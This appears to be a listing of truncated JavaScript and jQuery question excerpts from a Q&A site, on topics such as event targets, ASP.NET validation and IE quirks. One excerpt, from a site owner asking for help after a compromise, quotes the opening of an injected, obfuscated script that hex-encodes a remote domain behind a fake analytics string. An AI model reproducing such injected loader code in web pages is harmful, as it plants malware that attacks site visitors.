javascript

How do I disable my ASP.NET AJAX ConfirmButtonExtender when page validation fails?

I've got a submit button using Microsoft's ConfirmButton extender to ask "Are you sure?". However it fires regardless of whether or not the page passes client-side validation. <asp:TextBox ID="TextBox1" runat="server" /> <asp:RequiredFieldValidator ID="RequiredFieldValidatorTextBox1" runat="server" ControlToValidate="TextBox1" ...

How much javascript is too much

I have recently been working with someone on a project that is very ajax intense. All calls are made to web services using ajax and the data logic is handled on the client side. The server side code just acts as the DAL and does little else. How much javascript is too much? ...

client's website was attacked, eeek!

Well, I guess this day had to come. My client's website has been compromised and blacklisted by Google. When you load the main page this javascript gets automatically added to the bottom of the document: <script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';st...

how to select only the background in jQuery

Hello, I would like to add two events to my items. One for the "background" of the document: $(document).click(function() {do()}); One for the divs in the document: $("div").click(function() {do2()}); The problem is that when I click on a div, both functions, do and do2 are called. How can I thus tell to call do() only when I click ...

How to make a link title the same as its URL using jQuery?

My goal is to make the title of every external link equal to its href attribute. My question is, how can I make the title variable available to the attr function? $('a').filter(function() { var title= $(this).attr('href'); return this.hostname && this.hostname !== location.hostname; }) .removeAttr('target') .attr('rel', 'externa...

Will choosing between YUI or jQuery effect the overal design of .js files?

Hi, Will choosing between jquery or YUI change the overall/high level design of your .js files or would it realistically only going to be the inner workings of your js functions due to the differences in framework API's? (i.e. how you access/traverse the DOM, selectors, built-in functions, firing events, etc.) ...

Javascript: How can I undo the setting of element.style?

I have an element in my document that has a background color and image set through a regular CSS rule. When a certain event happens, I want to animate that item, highlighting it (i'm using Scriptaculous, but this question applies to any framework that'll do the same). new Effect.Highlight(elHighlight, { startcolor: '#ffff99', endcolor:...

Best way to get the Original Target

What's a jQuery like and/or best practices way of getting the original target of an event in jQuery (or in browser javascript in general). I've been using something like this $('body').bind('click', function(e){ //depending on the browser, either srcElement or //originalTarget will be populated with the first //element that in...

HTML/CSS: what's a better option for layout of a tree of nested elements than nested tables?

Ok, I have a set of checkboxes for selecting criteria. For argument's sake, we'll say the data looks like this: [] Vehicles [] Unpowered [] Bicycle [] Skateboard [] Powered [] Two-wheeled [] Motorcycle [] Scooter [] Four-wheeled etc The []s represent checkboxes. Ignoring the obviously ...

Beyond stumped; Odd JQuery Cycle behavior in IE

I'm using the JQuery Cycle Plugin in an attempt to fade in/out images for a slide show. I am able to get it working in Firefox and Safari, however, when I view in Internet Explorer, I see very unexpected behavior. In Internet Explorer, the cycling is happening as expected, but some of the images do not display. They simply display a r...

jquery mutually exclusive click

I have 3 divs with 2 possible image tags for each (active or inactive). If one div is clicked to be active the other divs must be set to inactive. How do I accomplish this with img tags and what happens if user has javascript disable? ...

dragover mouse event contain file info in XUL application using javascript

I'm writing a XUL application using JavaScript for the coding. I would like to be able to drag files onto a control in this application and, when dropped, have them show up. This seems like it would be almost exactly like the tutorial here, but when I break in the drag and drop event handlers in a debugger, the dataTransfer member of th...

Any way to prevent "deselection" of highlighted text?

Highlight some text on this webpage, then click basically anywhere on the document. Your selection will disappear. Is there a way to prevent this behavior when the user clicks on a specific element, either by CSS or Javascript? E.g.: var element = document.getElementById("foo"); foo.onclick = function(e){ //some magic here that pr...

Where are the short-circuiting operators in ActionScript/JavaScript?

Like VB has operators AndAlso and OrElse, that perform short-circuiting logical conjunction, where can equivalent operators be found in JS / AS? ...

Why is dynamically modifying a JavaScript function's code mid-execution a bad thing?

A few days ago, I asked a question regarding dynamically modifying a function's code midway through the outerlying script's execution and I was told to completely forget ever coming upon the notion. I'm not sure I understand why that is. Let me give an example: <script> var display = function(msg) { alert(msg); } // Now, at the momen...

Possible to flash a Browser window using Javascript?

Like many programs flash their window on the taskbar / dock to alert the user to switch to the program, Is it possible to flash the Browser window using Javascript? (FireFox-only scripts are also welcome) This is useful for web-based Chat / Forum / Community-based software where there is lots of real-time activity. ...

Add <option> in IE 6 unwards.

Hi, I've the code below written in JavaScript to add a new option to the select list from the opener window: function updateSelectList() { var field = opener.document.objectdata.ticketPersonId; if (true && opener && field) { var val = document.createElement('option'); var title = document.objectdata.titleId....

What's the correct/proper way to test if an object is a jQuery object in javascript?

I'm writing a javascript function and in "compact" javascript design fashion, the type/length of arguments changes the behaviour of the function. One possible type of the argument is a jQuery object, for which I would like very special logic. What is the best way to test if an object is an instance of jQuery? ...

Adding a parameter to the URL with JavaScript

In a web application that makes use of AJAX calls, I need to submit a request but add a parameter to the end of the URL, for example: Original URL: http://server/myapp.php?id=10 Resulting URL: http://server/myapp.php?id=10&amp;enabled=true Looking for a JavaScript function which parses the URL looking at each parameter, the...

JavaScript library or Raw coding?

I current use prototype library to handle ajax requests. I have been on stack overflow for a week or so, and have seen lot of jQuery questions. It seems like most of people choose to use that library to handle javascript part of the programming. Beside the ajax part, rest of my javascript part on my website is developed on my own written...